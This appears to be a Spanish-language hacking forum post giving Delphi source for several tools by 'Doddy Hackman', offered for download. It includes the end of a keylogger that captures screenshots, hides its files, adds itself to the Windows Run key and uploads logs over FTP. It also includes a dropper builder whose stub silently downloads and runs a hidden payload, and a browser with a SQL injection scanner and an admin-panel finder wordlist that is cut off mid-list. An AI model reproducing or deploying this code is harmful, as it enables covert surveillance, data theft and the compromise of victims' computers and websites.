    generado := IntToStr(Random(100)) + '.jpg';

    try

      begin
        capturar_pantalla(generado);
      end;
    except
      //
    end;

    SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

    savefile('logs.html', '<br><br><center><img src=' + generado +
        '></center><br><br>');

  end;
end;

procedure subirftp;
var
  busqueda: TSearchRec;
begin
  while (1 = 1) do
  begin

    try

      begin
        Sleep(time_ftp);

        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
            (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

        FindFirst(dir + '*.jpg', faAnyFile, busqueda);

        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
            (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
        while FindNext(busqueda) = 0 do
        begin
          upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
              (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
        end;
      end;
    except
      //
    end;
  end;
end;

procedure control;
var
  I: integer;
  re: Longint;
begin

  while (1 = 1) do
  begin

    try

      begin

        Sleep(time);

        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
        begin

          re := GetAsyncKeyState(120);
          If re = -32767 then
          Begin

            ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
              SW_SHOWNORMAL);

          End;
        end;
      end;
    except
      //
    end;
  End;
end;

//

begin

  try

    // Config

    try

      begin

        // Edit

        ob := INVALID_HANDLE_VALUE;
        code := '';

        ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
          nil, OPEN_EXISTING, 0, 0);
        if (ob <> INVALID_HANDLE_VALUE) then
        begin
          SetFilePointer(ob, -9999, nil, FILE_END);
          ReadFile(ob, code, 9999, nose, nil);
          CloseHandle(ob);
        end;

        todo := regex(code, '[63686175]', '[63686175]');
        todo := dhencode(todo, 'decode');

        dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
        directorio := regex(todo, '[save]', '[save]');
        carpeta := regex(todo, '[folder]', '[folder]');
        screen_online := regex(todo, '[capture_op]', '[capture_op]');
        time_screen := StrToInt(regex(todo, '[capture_seconds]',
            '[capture_seconds]'));
        ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
        time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
        ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
        ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
        ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
        ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

        dir_normal := dir_especial;

        time := 100; // Not Edit

        if (dir_normal = '1') then
        begin
          dir_hide := directorio;
        end
        else
        begin
          dir_hide := GetEnvironmentVariable(directorio) + '/';
        end;

        dir := dir_hide + carpeta + '/';

        if not(DirectoryExists(dir)) then
        begin
          CreateDir(dir);
        end;

        ChDir(dir);

        nombrereal := ExtractFileName(paramstr(0));
        rutareal := dir;
        yalisto := dir + nombrereal;

        MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

        SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

        SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

        savefile(dir + '/logs.html', '');

        SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html',
          '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

        RegCreateKeyEx(HKEY_LOCAL_MACHINE,
          'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
          REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
        RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
        RegCloseKey(registro);
      end;
    except
      //
    end;

    // End

    // Start the party

    BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
    BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

    if (screen_online = '1') then
    begin
      BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
    end;
    if (ftp_online = '1') then
    begin
      BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
    end;

    BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

    // Readln;

    while (1 = 1) do
      Sleep(time);

  except
    //
  end;

end.

// The End ?

  
  Si lo quieren bajar lo pueden hacer de aca.

Un simple programa en Delphi para bajar archivos con las siguientes opciones :

• Se puede cambiar el nombre del archivo descargado
  
• Se puede guardar en la carpeta que quieran
  
• Se puede ocultar el archivo
  
• Hace que el archivo se inicie cada vez que carga Windows
  
• Se puede cargar oculto o normal
  
• Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  
  Unas imagenes :
  
  
  
  
  
  
  
  El codigo.
  
  El form principal.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;

type
 TForm1 = class(TForm)
   sSkinManager1: TsSkinManager;
   Image1: TImage;
   sGroupBox1: TsGroupBox;
   sButton1: TsButton;
   sButton2: TsButton;
   sButton3: TsButton;
   sButton4: TsButton;
   procedure sButton3Click(Sender: TObject);
   procedure sButton4Click(Sender: TObject);
   procedure sButton1Click(Sender: TObject);
   procedure sButton2Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

uses about, usbmode, generate;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

 sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
 sSkinManager1.SkinName := 'neonnight';
 sSkinManager1.Active := True;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
 Form3.Show;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
 Form4.Show;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
 Form2.Show;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
 Form1.Close;
end;

end.

// The End ?

  
  El USB Mode.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit usbmode;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
 sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
 IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;

type
 TForm3 = class(TForm)
   Image1: TImage;
   sStatusBar1: TsStatusBar;
   sGroupBox1: TsGroupBox;
   sGroupBox2: TsGroupBox;
   sEdit1: TsEdit;
   sGroupBox3: TsGroupBox;
   sCheckBox1: TsCheckBox;
   sEdit2: TsEdit;
   sCheckBox2: TsCheckBox;
   sEdit3: TsEdit;
   sCheckBox3: TsCheckBox;
   sCheckBox4: TsCheckBox;
   sCheckBox5: TsCheckBox;
   sRadioButton1: TsRadioButton;
   sRadioButton2: TsRadioButton;
   sGroupBox4: TsGroupBox;
   sButton1: TsButton;
   sProgressBar1: TsProgressBar;
   IdHTTP1: TIdHTTP;
   procedure sButton1Click(Sender: TObject);
   procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
     AWorkCount: Int64);
   procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
     AWorkCountMax: Int64);
   procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
   procedure FormCreate(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form3: TForm3;

implementation

uses about, dh;
{$R *.dfm}
// Functions

function getfilename(archivo: string): string;
var
 test: TStrings;
begin

 test := TStringList.Create;
 test.Delimiter := '/';
 test.DelimitedText := archivo;
 Result := test[test.Count - 1];

 test.Free;

end;

//

procedure TForm3.FormCreate(Sender: TObject);
begin
 sProgressBar1.Position := 0;
end;

procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
 AWorkCount: Int64);
begin
 sProgressBar1.Position := AWorkCount;
 sStatusBar1.Panels[0].Text := '[+] Downloading ...';
 sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
 AWorkCountMax: Int64);
begin
 sProgressBar1.Max := AWorkCountMax;
 sStatusBar1.Panels[0].Text := '[+] Starting download ...';
 sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
 sProgressBar1.Position := 0;
end;

procedure TForm3.sButton1Click(Sender: TObject);
var
 filename: string;
 nombrefinal: string;
 addnow: TRegistry;
 archivobajado: TFileStream;

begin

 if not sCheckBox1.Checked then
 begin
   filename := sEdit1.Text;
   nombrefinal := getfilename(filename);
 end
 else
 begin
   nombrefinal := sEdit2.Text;
 end;

 archivobajado := TFileStream.Create(nombrefinal, fmCreate);

 try
   begin
     DeleteFile(nombrefinal);
     IdHTTP1.Get(sEdit1.Text, archivobajado);
     sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
     sStatusBar1.Update;
     archivobajado.Free;
   end;
 except
   sStatusBar1.Panels[0].Text := '[-] Failed download';
   sStatusBar1.Update;
   archivobajado.Free;
   Abort;
 end;

 if FileExists(nombrefinal) then
 begin

   if sCheckBox2.Checked then
   begin
     if not DirectoryExists(sEdit3.Text) then
     begin
       CreateDir(sEdit3.Text);
     end;
     MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
     sStatusBar1.Panels[0].Text := '[+] File Moved';
     sStatusBar1.Update;
   end;

   if sCheckBox3.Checked then
   begin
     SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
     if sCheckBox2.Checked then
     begin
       SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
         FILE_ATTRIBUTE_HIDDEN);

       sStatusBar1.Panels[0].Text := '[+] File Hidden';
       sStatusBar1.Update;
     end
     else
     begin
       SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
       sStatusBar1.Panels[0].Text := '[+] File Hidden';
       sStatusBar1.Update;
     end;
   end;

   if sCheckBox4.Checked then
   begin

     addnow := TRegistry.Create;
     addnow.RootKey := HKEY_LOCAL_MACHINE;
     addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

     if sCheckBox2.Checked then
     begin
       addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
     end
     else
     begin
       addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
           + '/' + nombrefinal);
     end;

     sStatusBar1.Panels[0].Text := '[+] Registry Updated';
     sStatusBar1.Update;

     addnow.Free;

   end;

   if sCheckBox5.Checked then
   begin

     if sRadioButton1.Checked then
     begin
       if sCheckBox2.Checked then
       begin
         ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
           nil, nil, SW_SHOWNORMAL);
       end
       else
       begin
         ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
           SW_SHOWNORMAL);
       end;
     end
     else
     begin
       if sCheckBox2.Checked then
       begin
         ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
           nil, nil, SW_HIDE);
       end
       else
       begin
         ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
       end;
     end;

   end;

   if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
     sCheckBox4.Checked or sCheckBox5.Checked then
   begin
     sStatusBar1.Panels[0].Text := '[+] Finished';
     sStatusBar1.Update;
   end;

 end;

end;

end.

// The End ?

  
  El generador.
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit generate;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
 sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;

type
 TForm4 = class(TForm)
   Image1: TImage;
   sStatusBar1: TsStatusBar;

   OpenDialog1: TOpenDialog;
   sPageControl1: TsPageControl;
   sTabSheet1: TsTabSheet;
   sTabSheet2: TsTabSheet;
   sTabSheet3: TsTabSheet;
   sGroupBox1: TsGroupBox;
   sGroupBox2: TsGroupBox;
   sEdit1: TsEdit;
   sGroupBox3: TsGroupBox;
   sEdit2: TsEdit;
   sGroupBox4: TsGroupBox;
   sRadioButton1: TsRadioButton;
   sRadioButton2: TsRadioButton;
   sGroupBox5: TsGroupBox;
   sGroupBox6: TsGroupBox;
   sGroupBox7: TsGroupBox;
   Image2: TImage;
   sButton1: TsButton;
   sGroupBox8: TsGroupBox;
   sComboBox1: TsComboBox;
   sGroupBox9: TsGroupBox;
   sCheckBox1: TsCheckBox;
   sEdit3: TsEdit;
   sGroupBox10: TsGroupBox;
   sButton2: TsButton;
   procedure sButton1Click(Sender: TObject);
   procedure sEdit2Click(Sender: TObject);
   procedure sButton2Click(Sender: TObject);

   procedure FormCreate(Sender: TObject);

 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form4: TForm4;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

function getfilename(archivo: string): string;
var
 test: TStrings;
begin

 test := TStringList.Create;
 test.Delimiter := '/';
 test.DelimitedText := archivo;
 Result := test[test.Count - 1];

 test.Free;

end;

//

procedure TForm4.FormCreate(Sender: TObject);
begin

 OpenDialog1.InitialDir := GetCurrentDir;
 OpenDialog1.Filter := 'ICO|*.ico|';

end;

procedure TForm4.sButton2Click(Sender: TObject);
var
 linea: string;
 aca: THandle;
 code: Array [0 .. 9999 + 1] of Char;
 nose: DWORD;
 marca_uno: string;
 marca_dos: string;
 url: string;
 opcionocultar: string;
 savein: string;
 lineafinal: string;
 stubgenerado: string;
 tipodecarga: string;
 change: DWORD;
 valor: string;

begin

 url := sEdit1.Text;
 stubgenerado := 'tiny_down.exe';

 if (sRadioButton2.Checked = True) then
 begin
   tipodecarga := '1';
 end
 else
 begin
   tipodecarga := '0';
 end;

 if (sCheckBox1.Checked = True) then
 begin
   opcionocultar := '1';
 end
 else
 begin
   opcionocultar := '0';
 end;

 if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
 begin
   savein := 'USERPROFILE';
 end
 else
 begin
   savein := sComboBox1.Items[sComboBox1.ItemIndex];
 end;

 lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
   '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
   '[name]' + '[carga]' + tipodecarga + '[carga]';

 marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

 aca := INVALID_HANDLE_VALUE;
 nose := 0;

 DeleteFile(stubgenerado);
 CopyFile(PChar(ExtractFilePath(Application.ExeName)
       + '/' + 'Data/stub_down.exe'), PChar
     (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

 linea := marca_uno;
 StrCopy(code, PChar(linea));
 aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
   OPEN_EXISTING, 0, 0);
 if (aca <> INVALID_HANDLE_VALUE) then
 begin
   SetFilePointer(aca, 0, nil, FILE_END);
   WriteFile(aca, code, 9999, nose, nil);
   CloseHandle(aca);
 end;

 //

 if not(sEdit3.Text = '') then
 begin
   try
     begin

       valor := IntToStr(128);

       change := BeginUpdateResourceW
         (PWideChar(wideString(ExtractFilePath(Application.ExeName)
               + '/' + stubgenerado)), False);
       LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
         PWideChar(wideString(sEdit3.Text)));
       EndUpdateResourceW(change, False);
       sStatusBar1.Panels[0].Text := '[+] Done ';
       sStatusBar1.Update;
     end;
   except
     begin
       sStatusBar1.Panels[0].Text := '[-] Error';
       sStatusBar1.Update;
     end;
   end;
 end
 else
 begin
   sStatusBar1.Panels[0].Text := '[+] Done ';
   sStatusBar1.Update;
 end;

 //

end;

procedure TForm4.sButton1Click(Sender: TObject);
begin

 if OpenDialog1.Execute then
 begin
   Image2.Picture.LoadFromFile(OpenDialog1.FileName);
   sEdit3.Text := OpenDialog1.FileName;
 end;

end;

procedure TForm4.sEdit2Click(Sender: TObject);
begin
 if not(sEdit1.Text = '') then
 begin
   sEdit2.Text := getfilename(sEdit1.Text);
 end;
end;

end.

// The End ?

  
  El stub
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Downloader 0.5
// (C) Doddy Hackman 2013

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
 SysUtils, Windows, URLMon, ShellApi;


// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
 Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
 SetLength(text, AnsiPos(hastaaca, text) - 1);
 Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

//

var
 ob: THandle;
 code: Array [0 .. 9999 + 1] of Char;
 nose: DWORD;
 link: string;
 todo: string;
 opcion: string;
 path: string;
 nombre: string;
 rutafinal: string;
 tipodecarga: string;

begin

 try

   ob := INVALID_HANDLE_VALUE;
   code := '';

   ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
     OPEN_EXISTING, 0, 0);
   if (ob <> INVALID_HANDLE_VALUE) then
   begin
     SetFilePointer(ob, -9999, nil, FILE_END);
     ReadFile(ob, code, 9999, nose, nil);
     CloseHandle(ob);
   end;

   todo := regex(code, '[63686175]', '[63686175]');
   todo := dhencode(todo, 'decode');

   link := regex(todo, '[link]', '[link]');
   opcion := regex(todo, '[opcion]', '[opcion]');
   path := regex(todo, '[path]', '[path]');
   nombre := regex(todo, '[name]', '[name]');
   tipodecarga := regex(todo, '[carga]', '[carga]');

   rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

   try

     begin
       UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

       if (FileExists(rutafinal)) then
       begin

         if (opcion = '1') then
         begin
           SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
         end;

         if (tipodecarga = '1') then
         begin
           ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
         end
         else
         begin
           ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
         end;
       end;

     end;
   except
     //
   end;

 except
   //
 end;

end.

// The End ?

  
  Si lo quieren bajar lo pueden hacer de aca.

Un simple browser que hice en Delphi con las siguientes opciones :

• Podes ver el codigo HTML de la pagina cargada
  
• Se puede buscar palabras en el codigo HTML
  
• Poder modificar los headers para HTTP header injection
  
• Trae un SQLI Scanner para buscar vulnerabilidades SQLI
  
• Trae un PanelFinder para buscar el panel del admin
  
  Unas imagenes :
  
  
  
  
  
  El codigo :
  
  Carga
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Browser 0.2
// (C) Doddy Hackman 2013

unit dhbrowse;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
  sSkinManager;

type
  TForm1 = class(TForm)
    sGroupBox1: TsGroupBox;
    sProgressBar1: TsProgressBar;
    Timer1: TTimer;
    Image1: TImage;

    sSkinManager1: TsSkinManager;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses programa;
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  total: integer;

begin

  total := 0;
  sProgressBar1.Min := 0;
  sProgressBar1.Max := 100;

  For i := 1 to 100 do
  begin

    Form1.Update;

    Sleep(1000);
    // Sleep(1);

    total := total + 10;

    sProgressBar1.Position := total;

    if (sProgressBar1.Position = 100) then
    begin
      Timer1.Enabled := False;
      Form1.Hide;
      Form2.Show;
      Abort;
    end;
  end;

end;

end.

// The End ?

  
  Navegador
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Browser 0.2
// (C) Doddy Hackman 2013
// Credits :
// Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
// FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
// Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

unit programa;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
  sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
  ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;

type
  TForm2 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    sCheckBox1: TsCheckBox;
    sGroupBox3: TsGroupBox;
    sStatusBar1: TsStatusBar;
    WebBrowser1: TWebBrowser;
    sGroupBox4: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sGroupBox5: TsGroupBox;
    sButton4: TsButton;
    sLabel1: TsLabel;
    Image1: TImage;
    sMemo2: TsMemo;
    PopupMenu1: TPopupMenu;
    S1: TMenuItem;
    S2: TMenuItem;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    FindDialog1: TFindDialog;
    sProgressBar1: TsProgressBar;
    procedure sButton1Click(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure FindDialog1Find(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure WebBrowser1ProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    procedure WebBrowser1DownloadComplete(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure TForm2.FindDialog1Find(Sender: TObject);

// FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

var
  aca: PChar;
  aca2: PChar;
  acatoy: PChar;
  acatoy2: Word;

begin

  With Sender as TFindDialog do

  begin

    GetMem(aca2, Length(FindText) + 1);
    StrPCopy(aca2, FindText);

    acatoy2 := sMemo2.GetTextLen + 1;
    GetMem(aca, acatoy2);

    sMemo2.GetTextBuf(aca, acatoy2);

    acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
    acatoy := StrPos(acatoy, aca2);

    if not(acatoy = NIL) then
    begin
      sMemo2.SelStart := acatoy - aca;
      sMemo2.SelLength := Length(FindText);
    end;

    sMemo2.SetFocus;

  end;

end;

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Application.Terminate;
end;

procedure TForm2.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm2.S1Click(Sender: TObject);
begin
  WebBrowser1.Visible := false;
  sMemo2.Visible := True;
end;

procedure TForm2.S2Click(Sender: TObject);
begin
  WebBrowser1.Visible := True;
  sMemo2.Visible := false;
end;

procedure TForm2.sButton1Click(Sender: TObject);

// Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

var

  cabeceras: OLEVariant;
  uno: OLEVariant;
  dos: OLEVariant;
  tres: OLEVariant;

begin

  uno := navNoReadFromCache or navNoWriteToCache;
  dos := '';
  tres := '';

  if (sCheckBox1.Checked) then
  begin
    cabeceras := sMemo1.Text;
    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  end
  else
  begin
    cabeceras := '';
    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  end;
end;

procedure TForm2.sButton2Click(Sender: TObject);
var
  pass1: string;
  pass2: string;
  code: string;
  urltest: string;
  urlgen: string;
  full: string;
  codedos: string;
  i: Integer;

begin

  sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
  Form2.sStatusBar1.Update;

  pass1 := '+';
  pass2 := '--';

  urltest := 'concat(0x4b30425241,1,0x4b30425241)';

  sStatusBar1.Panels[0].Text := '[+] Checking ...';
  Form2.sStatusBar1.Update;

  code := IdHTTP1.Get
    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

  codedos := IdHTTP1.Get
    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);

  if not(code = codedos) then
  begin

    sStatusBar1.Panels[0].Text := '[+] Finding columns number';
    Form2.sStatusBar1.Update;

    urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
      'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
    urlgen := '1';
    for i := 2 to 36 do
    begin
      sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
      Form2.sStatusBar1.Update;
      urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
        + ',0x4b30425241)';
      urlgen := urlgen + ',' + IntToStr(i);
      code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
      PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
      PerlRegEx1.Subject := code;

      if PerlRegEx1.Match then
      begin

        urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
          'hackman', []);
        full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
          'union' + pass1 + 'select' + pass1 + urlgen;

        sEdit1.Text := full;
        Abort;

      end;
    end;
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form2.sStatusBar1.Update;

end;

procedure TForm2.sButton3Click(Sender: TObject);
const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php',
    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
    'admin/default.php', 'administracion/', 'administracion/index.php',
    'administracion/login.php', 'administracion/ingresar.php',
    'administracion/admin.php', 'administration/', 'administration/index.php',
    'administration/login.php', 'administrator/index.php',
    'administrator/login.php', 'administrator/system.php', 'system/',
    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
    'admin/index.html', 'admin/login.html', 'admin/home.php',
    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
